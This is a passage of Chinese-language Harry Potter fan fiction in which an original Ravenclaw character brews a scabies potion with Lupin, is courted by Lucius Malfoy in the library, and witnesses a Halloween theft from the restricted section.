罗萨利亚艰难开口:“要的。谢谢您……”
喝药姿势娴熟也抵消不了药本身难喝……这药尝起来简直比她的稳定剂还难以下咽。
不一会儿,糖果和药剂一块儿奏效了。一阵剧痛过后,罗萨利亚的膝盖恢复如初。她下地走动几步,确认没有任何不适后就挥别了庞弗雷夫人,匆匆回休息室取来坩埚,赶往接下来的魔药课。
此刻,霍拉斯·斯拉格霍恩、魔药学教授以及斯莱特林院长,正挺着肚子侧身写板书。他看到姗姗来迟的罗萨利亚,也不生气,反而高兴又亲切地说道:“拉文谢德小姐,我听说了你使用缴械咒的事,真令人印象深刻——很高兴看到你健康地回到课堂了。”
“谢谢您的关心,教授。”
“别客气。”斯拉格霍恩眉梢扬起:“快去坐着吧。我们正准备熬制一些治疗疥疮的药水呢。”
于是罗萨利亚把目光放到了台下的桌椅上。她先看了一眼斯内普,他对面正是莉莉,显然,他俩已经组成了魔药小组;在离他们很远的地方,小天狼星和詹姆也在一组,两人不关心她的到来,连头都没抬。
她接着往后看,很快就发现了合适的目标——教室的最后一排,一个熟悉的瘦弱身影单独守着坩埚。
正是莱姆斯·卢平。
因为人数不齐,落单是必然的。罗萨利亚瞥了一眼在旁边左顾右盼的彼得·佩迪鲁,明白过来:卢平一定是让把组队的机会让给他了。
于是,她快步走到他面前问道:“我可以坐在这里吗?”
11. 魔药课
卢平只愣了不到三秒,就把自己的坩埚往身前拉了拉,说:“请坐,拉文谢德小姐。”
罗萨利亚把自己的坩埚贴着他的放下,低声说:“我叫罗萨利亚,来自拉文克劳学院。”
卢平点点头,轻声道:“我叫……莱姆斯·卢平。来自格兰芬多。”
“幸会。”
“……幸会。”
二人短暂自我介绍结束的时候,斯拉格霍恩也准备把课堂留给自己学生来发挥了。他看起来精神振奋,说道:“这是你们第一次制作魔药,放轻松,就算失败也不用懊恼。不过,我十分期待能从你们中找到一位出色的助手,来辅助我之后的课堂教学。我想,疥疮治疗药水做得最好的那位学生一定能胜任这个职位。”
“现在,”他张开双臂说,“大展身手吧。”
罗萨利亚一边挑拣着治疗疥疮魔药所需的材料,一边嘟囔它们的名字:“干荨麻叶……蛇牙粉……牛黄……豪猪刺……鼻涕虫……噫,我不想碰鼻涕虫。”
“我替你拿吧。”
罗萨利亚抬眼,地下教室昏暗的光线让卢平脸上的粉红伤疤几乎消失。掠夺者四人中,她唯一有些好感的就是卢平。至少他有礼貌,也有些绅士风度。
她自然地接受了好意,并说:“这是我挑出的其他三种材料,给。”
“谢谢。”卢平将鼻涕虫从瓶罐里夹出来,分别放到两人案板上。
“首先,冷水加入干荨麻叶煮沸。”罗萨利亚翻阅魔药书说:“要控制水温上升的速度,过快会影响药效。”
卢平跟随她的步骤,也将干荨麻叶放进坩埚中。他问:“如果水温上升太快会发生什么?你知道吗?”
罗萨利亚回想了一下,说道:“可能会导致药剂太苦或者药效失衡?我从别的书上看到的。”(1)
卢平点了点头,说:“太苦确实不怎么好。”
罗萨利亚回想起了刚喝过不久的药剂,面色微微扭曲,道:“今天庞弗雷夫人给我开的药就太难喝了!”
卢平的嘴角轻轻翘起:“我以前也喝过不少难喝的药剂——希望你的伤现在已经全好了。”
“谢谢你的关心,虽然药难喝,但效果不错,已经好了。”罗萨利亚耸耸肩说:“其实我也经常喝药,所以还算习惯吧——现在应该可以加蛇牙粉了,我看锅内已经完全沸腾了,水温稳定。我建议用漏筛,这样可以均匀快速地让粉末在坩埚里化开。”
卢平取来漏筛递给她,问:“你……经常喝药?”
“嗯。”罗萨利亚手上的操作没有停顿,回复道:“我们家的人都有一种叫‘灵肉缺陷融合’的遗传病,简而言之就是容易灵魂出窍然后死掉,这种病症目前没有办法根治,只能一直喝药抑制。”(2)
卢平筛蛇牙粉的动作炖住了,沸腾的水蒸气让他无法看清对面女孩的神色,因此有点不知所措:“……抱歉。”
“这没什么。”罗萨利亚对他笑了笑,说:“专注坩埚,现在该搅拌了。”
良久,卢平轻轻“嗯”了一声,说道:“牛黄和鼻涕虫就让我来放吧?我看你不喜欢他们。”
“好啊。”罗萨利亚乐见其成。
伴随持续加热,二人坩埚中的药水已经渐渐呈现绿色。
罗萨利亚说:“嗯,接下来要冷却之后再加入豪猪刺,不然可能会爆炸,然后整个教室的人都会满脸疥疮。”
她的声音不大也不小,正好让隔壁小组那个准备放豪猪刺的学生停住了手。对方悄悄把她评价为了背后长眼睛的女孩——实际上她耳朵也很好使。
药水的冷却也昭示着课堂的尾声。罗萨利亚和卢平将豪猪刺放入坩埚,搅拌静置,很快,属于疥疮治疗药水的淡蓝绿色就呈现出来了。
斯拉格霍恩拍拍手,说道:“时间差不多了,让我来检查检查你们的结果。”
他突出的肚子在桌椅间穿梭,好像随时会碰倒某个同学的坩埚。然而没有,他很灵活地查看着每组同学的成果,终于,在路过斯内普和莉莉那一组的时候发出了惊叹:
“梅林的胡子!很难想象两个一年级学生能做出来这么好的成果,相当惊人。我知道这位是我学院的斯内普先生,做得相当好,我想足矣为斯莱特林增加五个学院分。你呢?小姐?你的名字是?”
“莉莉·伊万斯,教授,我来自格兰芬多。”莉莉说道。
“哦……伊万斯……格兰芬多。”斯拉格霍恩若有所思,然后欣慰道:“你的成果也相当漂亮,格兰芬多加五分!”
“谢谢教授!这离不开您的教学和西弗勒斯的帮助。”莉莉看起来很惊喜,她第一时间看向斯内普,对方则从容地向她点头。没有什么比当天就把丢失的五分赚回来更让人高兴的了。
“你应得的,孩子,别这么客气。”斯拉格霍恩被她的笑容感染,也咧起嘴角笑了。
很快,斯拉格霍恩就转到了小天狼星和詹姆那一组。他低头看着二人的成果,长长地“嗯”了一声,点评是:“也很不错,虽然看得出过程急躁,颜色不够标准——可能是搅拌不够均匀。但也很好。”
然而,珠玉在前,加分就谈不上了。
斯拉格霍恩一转身,小天狼星就对詹姆做了个口型。配合对方的神情,罗萨利亚猜测那是一句语气嘲弄的“斯莱特林”。
最后,斯拉格霍恩来到罗萨利亚和卢平面前。他轻微皱眉,用玻璃棒搅拌了一下二人的药剂,脸上慢慢扬起欣慰的笑容:“质地相当细腻——拉文谢德小姐,你做得很不错……比你叔叔当年要好太多了,”他小声对罗萨利亚说,“他后来找到适合熬制那种药的人选了吗?”
罗萨利亚一愣,马上联想到了稳定剂的事。或许阿莱西奥曾经也联系过斯拉格霍恩?但现在看来,他当时大概是被婉拒了。
她道:“找到了,教授。”
“那真是太好了。”斯拉格霍恩说完,略微提高声量:“我是说,你们两位的魔药水平也很不错!足以给拉文克劳以及——你的名字呢,先生?”
卢平的声音听上去有些紧张:“我是莱姆斯·卢平,教授。我来自格兰芬多。”
斯拉格霍恩马上道:“以及格兰芬多学院,各增加五分。其他学生,如果你们想获得了解更细致的疥疮药水制作过程,为什么不在下课之后向刚才加分的四位同学寻求经验呢!”
“不过现在,”他重新回到讲台上,“是时候公布我的魔药助手了。”
斯拉格霍恩教授的目光环视一周,每一个被扫过的人都屏气凝神——就算他们已经隐约察觉到了助理将会花落谁家。
斯拉格霍恩笑道:“让我们恭喜莉莉·伊万斯小姐!她出色的魔药成果及真诚谦逊的态度为她赢得了这个职位。”
“让我们为她鼓掌吧。”
掌声簌簌。卢平却看向罗萨利亚说:“谢谢你。”
罗萨利亚微微一笑道:“也谢谢你,莱姆斯。合作愉快。”
下课后,莉莉和斯内普重新与罗萨利亚汇合。
斯内普远远地就开始打量她的膝盖,而莉莉则更直接地关切道:“你怎么样了?”
罗萨利亚道:“这种程度的伤对巫师来说不算什么。庞弗雷夫人当场给开了药剂,我喝完休息了一会儿就完全恢复了——恭喜你,莉莉!”
莉莉红了脸:“没什么,这都靠西弗勒斯,他说了好多书上没有的细节。”
斯内普小声道:“不,你本身就有天赋。”
他又把目光转向罗萨利亚,问道:“关于你的药水,我想知道斯拉格霍恩教授为什么会评价为‘相当细腻’?”
罗萨利亚回想道:“可能是因为我放蛇牙粉时借助了筛子?
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这就跟做烘焙时提高细腻度的原理一样?筛过后的蛇牙粉粉末会更细致均匀,搅拌起来也更容易。”
斯内普沉思道:“有意思的想法。我想把这个步骤和我的经验一起整理出来。”
这简直就是最高夸奖了,罗萨利亚心满意足:“没问题——还真让你说对了,西弗勒斯。”
“说对什么?”斯内普的嘴角正隐隐扬起,然而下一刻,这一线笑意马上就消失不见了。因为罗萨利亚哼哼两声说道:“‘我希望上魔药课的时候我们不会被分到一组’,现在你如愿以偿啦。”
闻言,斯内普压低眉毛,将嘴巴一下子抿了起来,一句话也不说了。
另一边,莱姆斯·卢平也被人问到了同样的问题。
“什么叫‘相当细腻’?”詹姆道。
“听起来像岩皮饼新出的广告词。”小天狼星道。
被二人堵到墙角的卢平便解释道:“只需要在蛇牙粉那个步骤用筛子筛一遍材料就行。罗萨利亚是这样做的。”
詹姆闻言,翻了一个白眼:“哦拜托……我才不要学她的方法。我宁可找机会问莉莉·伊万斯。”
卢平抿嘴作出一个不知所措的笑,他脸上的伤疤因此明显了一些。詹姆看着,皱起眉问道:“哥们儿,我早就想问了,你的脸怎么回事?”
卢平眨眨眼:“呃……只是一些意外——”说着,他正好看到缀在一旁、但是小心翼翼一言不发的彼得,便一把将他拉了过来道:“那个,这是彼得,他是我昨晚刚交的朋友。”
“你好!”詹姆打了个招呼:“我是詹姆斯·波特。”
“叫我西里斯吧。”小天狼星懒洋洋地说。
“你们好。”彼得小声道。
“好了,快走吧。”小天狼星拍拍两人的肩膀说:“还有下一堂课呢!”
……
与此同时,邓布利多办公室门口的旋转楼梯发出了声响。
邓布利多放下手里的《今日变形咒》,双手交握在桌前,耐心等待今天办公室的第一位客人的敲门。
是麦格教授。
邓布利多校长道:“中午好,麦格教授,你是为学生们的事儿来的吗?
“午安,邓布利多教授。”麦格教授走了过来,她的面色可不怎么愉悦:“你听说了?那条走廊的事儿?”
“我早上和斯拉格霍恩教授一起吃的早饭,而很显然,他喜欢收集这些趣事儿。”邓布利多微微一笑。
“趣事儿?两个一年级的学生对另外两个一年级的学生用缴械咒?他们才刚刚入学!我怎么想也不觉得这事儿有趣。”
“至少他们没把人打到墙上去,是吧,按照霍拉斯的说法,这很考验控制力与精准度——你不会只是来跟我抱怨这件事的吧,米勒娃?”
“哦你也可以这么认为,阿不思。”麦格气呼呼地瞪着眼,说:“我给他们都扣了学院分数,还在思考要不要和他们私下谈一谈,但毕竟有两个都不是格兰芬多学院的学生……可是,以当前的时势……他们才一年级,更需要正向的引导。”
邓布利多为麦格倒了一杯热甜奶茶,轻微摇头说:“不用太担心,米勒娃,它只是一个基础的缴械咒。以积极的心态看,这件事说不定会让更多学生对黑魔法防御课感兴趣。而如果它的结果大概率是好的,那么我们可以允许过程不拘小节一些——顺便,我想确认一下使用缴械魔咒的学生的名字?”
“你认识他们,阿不思,还记得吗?你曾让我开学前去接一个学生,只是后来她搬去跟新的监护人住了。”麦格教授回答:“那个家庭中也有一位小男巫——就是他们两个——没错,罗萨利亚·拉文谢德和西弗勒斯·斯内普,阿不思。”
邓布利多“哦”了一声:“那看来他们相处得不错。”
麦格教授摇摇头,低头喝奶茶去了。
12. 黑魔法防御课
一年级新生除了需要学习变形学和魔药学,还必修魔咒学、天文学、草药学、魔法史、飞行学以及黑魔法防御课。
在这些课程中,罗萨利亚最擅长的是变形学,因为表现出色,她还赚了不少学院分;其次则是魔咒学,她在这门课上也很如鱼得水——魔咒学的教授,菲利乌斯·弗立维,同时也是拉文克劳学院的院长。他与拉文谢德家族一直友好往来,之前就曾寄送过哀悼信。罗萨利亚也能感觉到他对自己多有照拂。
再然后就是魔药学和草药学了。这两门课,由于受到斯内普的耳濡目染,罗萨利亚也表现得不错。至于天文学和魔法史,考虑到实用性,她就没有太多钻研的兴致了。
而令罗萨利亚比较意外的,是飞行学。她发现自己似乎有些飞行天赋:她总能驱使扫帚又快又稳地按照指示行动。
当然,她是没有詹姆斯·波特有能耐的。这堂课根据课表分成了狮獾和鹰蛇两个班级,轮到在她和斯内普上课时,霍琦教授特别还拿出詹姆作为教例了呢,她说他上堂课以出色的飞行技巧,为格兰芬多倒扣了五分。
相比之下,斯内普的扫帚就不是很听话,偏偏旁边还有人在笑——罗萨利亚便假装自己的扫帚失灵,一直在扫对方脚边的草地,弄得那人也跟斯内普的扫帚一样左右跳起来——现在轮到其他人笑他了。
现在,所有课程中,就剩下黑魔法防御课还没有上——据说,邓布利多还在为聘请教授而发愁。
“没有人愿意来教课的。这都是因为一个诅咒。”
“诅咒?”
“是的,我爸妈在魔法部工作,他们都这样说:凡是担任黑魔法防御课教授职位的人都会出事儿!”
“那这诅咒是谁下的?”
“我觉得一定是……那位下的,没错,就是那位……”
“那位是哪位?”
“……算了,吃你的晚饭吧。”
“他们说的是真的?”
莉莉、斯内普和罗萨利亚又凑在赫奇帕奇餐桌的末尾。
斯内普回应了莉莉的提问:“是这样的。”
莉莉问:“那这门课会不会被取消啊?”
罗萨利亚摇头:“应该不会,最迟下个周周一,我们就能知道谁是任课老师。”
开学第一周已经匆匆结束,明天便是周六了。
“那就好,其实我对黑魔法防御课还挺感兴趣的呢。”莉莉说:“尤其是看过你们两个上次用的那招之后,感觉真不赖!”
“你感兴趣?”斯内普抬起了头,他声音轻巧:“我认为,要想真正掌握防御,就必须理解并直面黑魔法的本质——黑魔法防御的魅力正在于黑魔法本身。”
这话让莉莉一下子收起了笑容。她咬着嘴唇,犹豫地说道:“怎么会呢……黑魔法防御课的重点在于防御之道,不是吗……”
“这仅限于课程,”斯内普并不了解莉莉心中在想什么,他继续解释自己的观点,“或者说,黑魔法防御会发展为课程,就是因为黑魔法(Dark Arts)本身足够高深莫测。我觉得,只有足够了解黑魔法,才能明白如何反制它。”
哦,有点意思的说法。罗萨利亚撑起脑袋看着斯内普。她对黑魔法没有太多抵触,毕竟摄神取念本身就是灰色的。而且她还挺想听听斯内普的想法的——他难得有表达欲。
“黑魔法千变万化、不可毁灭,因为它本就和巫师自身牢不可分。或者说,黑魔法是巫师另类意识的延伸,越是对其避之不及,它就越强大,因为它的生命来自于——”
“不、不,西弗勒斯。你别以为我不知道。”
罗萨利亚正听得津津有味时,莉莉开口打断了斯内普的话。她的面色变得苍白起来了,反驳道:“黑魔法是腐蚀生命的东西,它本身没有生命!生命是美好和幸福的,黑魔法本质是邪恶和残忍的,它会带走生命中的美好与幸福。”
“好啦,不要那么严肃了。”
但眼看两个人就要吵起来,罗萨利亚只好出面打断。她把薯条推到二人中间,缓慢地介入争论:“我们连黑魔法防御课都还没上呢!我觉得任课教授肯定会就你们讨论的这个问题展开讲解的。说这么多,不如先整点薯条吃吃?”
“看在薯条的面子上。”莉莉有些气冲冲的。她拿起薯条愤怒地咀嚼,连番茄酱也没蘸,就仿佛她吃的是斯内普的脑子里那些可能存在的邪恶念头一样。
斯内普也低头拿了根薯条放到嘴里,他的动作则几乎让人看不出情绪。
至于罗萨利亚——她悄悄叹了一口气,仿佛已经窥见自己未来几年的充当和事佬命运。
她抬头望天,在此刻礼堂的穹顶上,接近圆满的月亮刚刚在落日余晖中升起。
……
晚餐过后,罗萨利亚和斯内普拐弯去了图书馆自习,而莉莉没有和他们一起。她心情不佳地表示自己想回格兰芬多休息室歇息。
临近周末,图书馆里没多少人,基本都是高年级的身影——他们要么在准备O.W.L.s,要么在忙N.E.W.T。
罗萨利亚趁背魔咒的空隙,瞥了一眼对面的斯内普。他面前摊开了三本魔药书,其本人正埋头中间书写有关治疗疥疮药水的制作反思。
没有什么比自己已经背书背烦了,而搭子却学得忘乎所以更让人焦虑的了。
一点点使坏倾向、再加上一些鬼使神差,罗萨利亚用羽毛笔的羽毛扫了下斯内普的脸。
对方笔尖一顿,不解地抬头看她。他的睫毛正好刮蹭到羽毛的尾翼。罗萨利亚眨眨眼,小声说:“小心近视。”
斯内普不情不愿地调整了姿势,继续书写。
啊。这就完了?
怎么不就她打断他骂两句?
没意思——
罗萨利亚伸了个懒腰,又把注意力放回了课本上,心想,算了,现在学的东西将来说不定能救自己一命,多看两眼吧。
就在罗萨利亚这份安静会一直持续到自习结束时,一道影子忽然挡住了她看书的光线。
罗萨利亚抬头,竟然看一个熟人站在她和斯内普的桌子前——卢修斯·马尔福。
从卢修斯精致而光滑的发型来看,比起来自习,罗萨利亚更愿意相信他是来图书馆找舞伴的。
他轻声开口道:“西弗勒斯,以及——我猜是拉文谢德小姐?二位晚上好。”
罗萨利亚有些惊讶,卢修斯居然知道她?还对她展露了又优雅又温和的态度?不过她又马上想到了自己这副身体的出身:拉文谢德家族虽没有马尔福家族那么有钱有权,但好歹古老而有名望,也不缺钱。而按照划分,她自己也是个纯血。这大概就是原因了。
卢修斯走到斯内普身边拍了拍他的肩膀说:“今天晚上我没在休息室举办的新生派对中看到你的影子,我早该想到你会来这里自习。”他又看了看罗萨利亚说:“毕竟,真正优秀的魔法天赋就是需要后天的努力来成就的,不是吗?”(1)
罗萨利亚甚至从他这句话中听出一丝热切。
卢修斯微微一笑,接着说:“我只是来表达一下我的关心。西弗勒斯,像你这样优秀的人,应该多参加社交活动才对。这样,才能结识到更多和拉文谢德小姐一样优秀的——斯莱特林同学。”说到最后一句,卢修斯便有些掩饰不住语气里的高傲与自得了。
或许是因为听到夸赞,斯内普的嘴角上扬,他说:“我明白了,级长。”
卢修斯点点头,又对罗萨利亚说:“拉文谢德小姐,很可惜你没有进入斯莱特林。不过,我想我们还是可以正式认识一下——我是卢修斯。卢修斯·马尔福。斯莱特林的监督生。”
罗萨利亚抓住他伸出的手握了握:“罗萨利亚·拉文谢德,幸会。”
“当然啦,我知道你。虽然在过去,拉文谢德家族虽然与马尔福家族无甚往来,但很有可能在我们这一代发生改变。”卢修斯把拉拢的话说得礼貌又体统,隐隐透露着野心和自豪:“有机会可以来斯
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莱特林的每周派对上玩,甜品随便吃——如果能在休息室看到你,我会很高兴的。”
“至于怎么进去,我想你知道该问谁。”他朝斯内普的方向瞧了一眼,说道:“我就不继续打扰你们二位了。下次见。”
说完,卢修斯就翩翩然离开了。
啧啧。罗萨利亚不禁感慨,感谢拉文谢德家族吧,她算是体验到卢修斯对内和对外的两幅社交手腕了——如果今天莉莉也在,他的神情姿态恐怕就不会这么富有亲和。
不过,也难免斯内普会和他亲近,这可是个能在察觉到斯内普缺席后追出来夸他天赋异禀还关心他社交关系的学长——当然真不真心另说。
罗萨利亚挑起一边眉毛问道:“看起来,他对你还挺不错的?”
“是。”斯内普垂着脑袋写字,语气里有一丝骄傲:“因为那个缴械咒。”
“他为我们缴械了——那两个人的武器而高兴?”中间的格兰芬多被罗萨利亚咽了下去。
“不止。”斯内普说:“许多高年级学生都不一定能释放正确的缴械咒。我们却可以,这当然会引人注意。”
“这就是卢修斯看重你——和我的原因?”罗萨利亚问。
“嗯,因为我们有天赋。”斯内普道:“我们也应该把握好机会。”
罗萨利亚沉思片刻,说:“但对于卢修斯·马尔福来说,比起他可能从你那儿索要的回报,这一点付出就太微不足道了。”
斯内普笔尖一顿,轻声说:“那就是以后的事了,现在,我只能……”
斯内普的话渐渐隐没了,但罗萨利亚却读懂了他的意思——他现在,只能牢牢地抓住这个机会,哪怕未来要付出更大的代价。
她坐在那里看着他,心想,也许这就是斯内普之所以是斯内普的原因。
夜色浓郁,月亮已经完全升起来了。
罗萨利亚的嘀咕钟开始不停地小声嘀咕:“再不回休息室就要被费尔奇先生抓夜游了、再不回休息室就要被费尔奇先生抓夜游了”——它的声音竟然跟玛丽安娜夫人的一样!这太诡异了。
罗萨利亚和斯内普匆匆告别,一个人疲惫地奔向拉文克劳塔楼。仿佛是为了多一些陪伴感,爬楼梯的时候,皮皮鬼冒了出来。它东躲西藏地跟着罗萨利亚唱了一路的跑调歌剧,试图营造一种恐怖氛围。烦得罗萨利亚动用了威胁:“皮皮鬼,你再这样,我现在就去找血人巴罗——他说不定认识拉文谢德这个姓氏,会很乐意帮我的忙呢。”
皮皮鬼听完,骂骂咧咧地朝罗萨利亚丢了一堆巫师扑克牌,正式谢幕了这场夜间演唱会。
罗萨利亚挥动魔杖,用漂浮咒拦住了朝她脸上砸来的破烂扑克牌盒子。那盒子悬在她眼前,她注意到上面还写了一行乱糟糟的小字:
卢多维克·巴格曼。
这个名字有点眼熟啊。罗萨利亚回忆了一瞬。
啊,火焰杯里爱好赌博的温布恩黄蜂队前击球手、魔法部体育司司长嘛——他更为人熟知的名字是卢多·巴格曼。(2)
这人似乎和他们是同一届的——之前她与斯内普、莉莉在赫奇帕奇的餐桌上吃饭时总是能看到他。
巴格曼也被皮皮鬼戏耍了?可怜。这幅巫师扑克牌只能找个上课的时间还给他了。罗萨利亚把纸牌收集起来放进口袋,随后敲了敲拉文克劳休息室的门。
鹰嘴悠然地问:“如何区分魔法与黑魔法?”
罗萨利亚道:“根据施法者的意图、情绪和使用方式以及造成的后果区分。”
那声音道:“深切的思考。”
大门缓缓打开。
拉文克劳塔楼顶洒满月光,累了一天的罗萨利亚终于钻回自己的鸟巢酣然入梦。而此时此刻,格兰芬多男寝的床铺上,有人正因即将圆满的月亮难以入眠。
当然,对于大多数人来说,没有课业的时光还是过的很快的。周一转眼就到了。所有人都兴致勃勃。因为,今天他们终于要上黑魔法防御课程了。
13. 万圣节与魁地奇
但是过高的期待一向会导致强烈的心理落差,这尤其体现在一些斯莱特林学院的学生身上:当那位步履匆匆走进教室的教授自我介绍为魔法部傲罗、只是过来兼职教授后,他们几乎每一个人的脸上都露出了失望的表情。
更有甚者,直接抱怨出声:“他是傲罗?那他肯定不会教我们黑魔法了,真没劲!”
詹姆听完立刻厌恶地大喊:“教授!斯莱特林应该扣分!”
可傲罗没有理他。
这倒不是某种针对,实际上,他没有理任何人——更令人失望的还在后面。这位傲罗几乎只致力于念出课本上的理论,而没有任何教学的意思。课堂氛围就这样变成了一滩死水。
罗萨利亚无奈地瞧着左右两边——莉莉还在试图从对方口中找到一些新颖且可以记录的东西,而斯内普则已经烦躁地合上《黑暗力量:自卫指南》,掏出了一本泛黄的《高级魔药制作》。
再转过头看,詹姆一边用魔杖控制一个骑扫帚的模型小人围着自己转圈,一边用手肘戳小天狼星。他嘟囔说真应该像莱姆斯那样把课翘掉——然而小天狼星没有回应,因为他已经靠着椅子睡着了。彼得正扶着他的椅子。卢平的位置空空荡荡。
话说回来……罗萨利亚摸着口袋环视一圈。卢多·巴格曼到底哪儿去了——吃早餐的时候她就在找他了。算了,她还是拜托其他赫奇帕奇的学生转交吧。
下课铃声一响,这位黑魔法防御课教授就夹起公文包,再次步履匆匆地走了。
所有学生都难以想象,邓布利多竟然只邀请到这样一个人来任课,黑魔法防御课教授职位就真的有什么可怕的诅咒吗?然而,不管有多少人感到失望,第一节黑魔法防御课都结束了。而不出意外的话,未来整整一年的课程,他们都将会像今天这样度过。
秋叶扑簌簌地落下,天气逐渐变得寒冷起来。一年级新生们已经基本适应了在霍格沃茨的生活,现在,他们正忙着为即将到来的活动——万圣节与魁地奇比赛而兴奋。
今年秋季学期的万圣节和魁地奇赛季凑在了同一周,这对大多数学生来说简直是双倍快乐。从十月中旬开始,他们呼吸的每一口空气都仿佛充满了振奋药水。
“啊我简直受不了那群男生了。”
万圣节当晚,莉莉抱着《千种神奇草药及蕈类》坐到罗萨利亚身边,她们对面则是斯内普。因为此刻身在图书馆,她稍稍克制情绪,小声道:“一到晚上就开始发疯,一直叫嚷‘万圣节!魁地奇’……又蹦又跳吵得人看不进书去——幸好公共休息室里没有魔法扫帚,不然他们准能在室内飞起来!”可说到最后一句,她的嘴角又隐隐显露上扬的弧度。
罗萨利亚轻声感叹:“格兰芬多可真活泼啊。”
莉莉问:“那拉文克劳休息室平时是什么样的?”
“比起运动力量,大家更崇尚知识的力量。”
“啊……你是说他们平时都会在休息室看书?”
“不,他们会去书架上挑最厚的那种典籍互殴。”
“安静一点。”斯内普没有抬头,只是轻声打断了二人的话。
听罢,罗萨利亚和莉莉一块儿抿起嘴唇,相视一笑。片刻后,莉莉将一张小纸条推到张罗萨利亚面前,上面写着:【你们课后都会到图书馆学习吗?】
啊,这感觉太熟悉了。罗萨利亚看着小纸条心想。若干年后要有学生想当着斯内普教授的面聊天,估计也只能用这种方式了。
她刷刷地写了回复:
【也不是。西弗勒斯偶尔也会参加斯莱特林学院的聚会。】
【我希望西弗不会跟不好的人混在一起…】
【不用担心,他知道分寸。】
【你呢?罗萨,你交到什么新朋友了吗?】
【嗯……没有。我有你们俩就够了。】
事实上,罗萨利亚不是很有耐心跟这个年纪的小孩交朋友。
【罗萨…(莉莉画了一个爱心)…我刚才听你说,拉文克劳的人也会打架,还有些担心你…】
【不用担心,他们打不过我。】
【哈哈哈!这才是你,罗萨!】
就在二人收起小纸条,准备投身魔法知识汪洋的时候,图书馆管理员平斯夫人忽然从一大堆书架后面现身了。
平斯夫人手中的鸡毛掸子在跳舞,看起来她本人已经怒火冲天了。她边走边用目光扫视图书馆的每一个学生,好像在检查他们桌上的书籍。
罗萨利亚有种不好的预感。为了防止万一,她在平斯夫人来到他们这桌前用羽毛笔扫了一下斯内普的手。
斯内普皱着眉头停下了笔,他顺着罗萨利亚的视线回头瞧见了平斯夫人,然后重新用困惑的眼神看她。
啊哦,误会他了。
今天要倒霉的好像另有其人。
平斯夫人过来了。
她先用目光细细审视罗萨利亚和莉莉,然后,最终将视线放到了斯内普身上。
平斯夫人吸了一口气,道:“先生,让我看看你拿了什么书。”
这时候斯内普便明白过来了,他瞥了一眼罗萨利亚,然后把自己面前的五本书籍全部翻到了封面页。
莉莉还在用眼神问这是怎么回事。
罗萨利亚在纸上写下了斯莱特林的前三个字母。
平斯夫人的眼珠子足足在书本和斯内普之间转了三圈,才“依依不舍”地前去检查下一桌学生。
这场莫名其妙的“突袭”很快结束了,毕竟万圣节当晚来图书馆的学生本就不多。而平斯夫人毫无收获。她到最后才愤懑地揭示了自己行动的原因:
“你们中那个溜进禁书区偷东西的学生,我告诉你,你最好藏得再好一点,因为,我马上会去告诉邓布利多这件事!这可不是万圣节能开的玩笑!”
说完,她又气冲冲地消失了。
莉莉仿佛明白了什么。她绿色的眼睛伤心地望向斯内普和罗萨利亚。而斯内普在察觉到她的视线后,转向了罗萨利亚,语气透着一股愠怒:“不是我。”
这下不好办了。罗萨利亚立刻意识到莉莉误会了她和斯内普之间的动作,于是赶紧解释:“平斯夫人很明显是来抓人的,一定是有人动了不该动的书。而西弗勒斯是斯莱特林学院的人,不管他有没有这么做,都大概率会因为偏见而被怀疑,所以我才会提醒他应对平斯——我不是在帮西弗勒斯遮掩什么,因为很明显,他也什么都没干。”
莉莉的眉头缓和下来:“原来是这样……你们怎么靠眼神省略这么多话的?真吓人……”
然而斯内普听完这番解释,可没有像莉莉那样轻易地放过她。
在结束图书馆自习后,他以提防皮皮鬼的万圣节恶作剧为由,提议和罗萨利亚一起送莉莉回格兰芬多休息室。这让本就顺路的罗萨利亚毫无拒绝余地。可等莉莉蹦跳着去找胖夫人后,斯内普就露出了他此行的另一个目的。
他冷冷地盯着罗萨利亚,朝她走近,说道:“你当时就是怀疑我了吧?”
罗萨利亚想要举手投降了:“我错了。”
“还有呢?”斯内普道:“你的课堂反思也只写到这一句?”
“西弗,”罗萨利亚无奈地说,“你放过我吧。”
她觉得无论自己怎么说,斯内普都能抓到她的漏洞,毕竟自己确实怀疑了他。
“……罗萨利亚,你跟其他人也这么耍赖?”斯内普生硬地说:“我要想看那些和黑魔法有关的书,跟马尔福打个招呼就行了。他能弄来
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很多。”
“所以我根本没必要偷偷溜进去——就像波特和布莱克那样鬼鬼祟祟。”他咬牙切齿地补充。
……是不是用偷溜进去的方式是这事儿的重点吗?但此刻罗萨利亚也顾不上揪着这点了,她问:“波特和布莱克干什么了?”
“三更半夜,一会儿消失一会儿出现,谁知道他们在干什么——也许就是去禁书区?”斯内普的语气因嘲讽而尖锐起来。
罗萨利亚知道詹姆和小天狼星为什么会“一会儿消失一会儿出现”——肯定是隐形斗篷的功劳。至于干什么,那就很难说了,这俩人的话……也可能是单纯地享受夜游。
但斯内普是怎么知道的?
然而还没等罗萨利亚开口,斯内普就抬起手指停在嘴边,用耳语说道:“马、尔、福早晚会抓住他们的——提醒一句,罗萨,距离你上一次因为怀疑我道歉才过了一分钟。”
罗萨利亚闭上嘴,干脆利落地把双手举过头顶了。
第二天,图书馆禁书区丢失了一本很邪恶的书的事儿就传开了。
据说邓布利多已经请管理员费尔奇先生加强了对城堡的巡逻。
课间休息的时候,几乎所有人都在就这件事叽叽喳喳地讨论:
“到底是谁干的?”
“我猜是高年级的学生,很可能是斯莱特林。”
“哦算了吧,什么都能扯到我们头上——只要我们想看那些书,有一千种办法可以看!”
“你们还是怀疑怀疑自己学院的人吧,瞧,那个脸上有疤的格兰芬多今天就没现身,不会是心虚了吧?”
“你很有必要去庞弗雷夫人那看看眼睛。”小天狼星充满厌恶意味的声音响起:“所有人都知道他上午来上课了。”
“而且莱姆斯昨天一整天都和我们在一起!”詹姆也反驳道。
“他们说的对!”彼得附和道。
不过,对于他们说的事,罗萨利亚倒是很清楚:卢平下午请假,完全是因为正巧赶上了月圆之夜,再加上冬天天黑早的因素,他总得提前避开人去尖叫棚屋。
“行了!就你们格兰芬多和斯莱特林天天吵架,有没有一种可能,这根本就不是学生干的?”
“那你说可能是谁?”
“比如那个黑魔法防御课的教授,他来去匆匆,又不好好教课,没准儿是个间谍。”
“哇哦,傲罗间谍?在霍格沃茨?你不如说是邓布利多自己想看,所以找了个借口说书被人偷了——”紧接着就是一阵大笑和一阵辱骂的声音。
“丢书”事件的热议来得快去得也快。
因为,秋季第一场魁地奇比赛马上就要到了。
四个学院、六场比赛、十五把飞天扫帚、一颗金色飞贼。哨声一响,铺天盖地的欢呼声淹没了罗萨利亚,她从未觉得自己的耳膜如此脆弱。
更糟的是,魁地奇比赛的观众席严格按照学院分类,她和斯内普、莉莉,都不能堂而皇之地钻到赫奇帕奇的地盘上去。
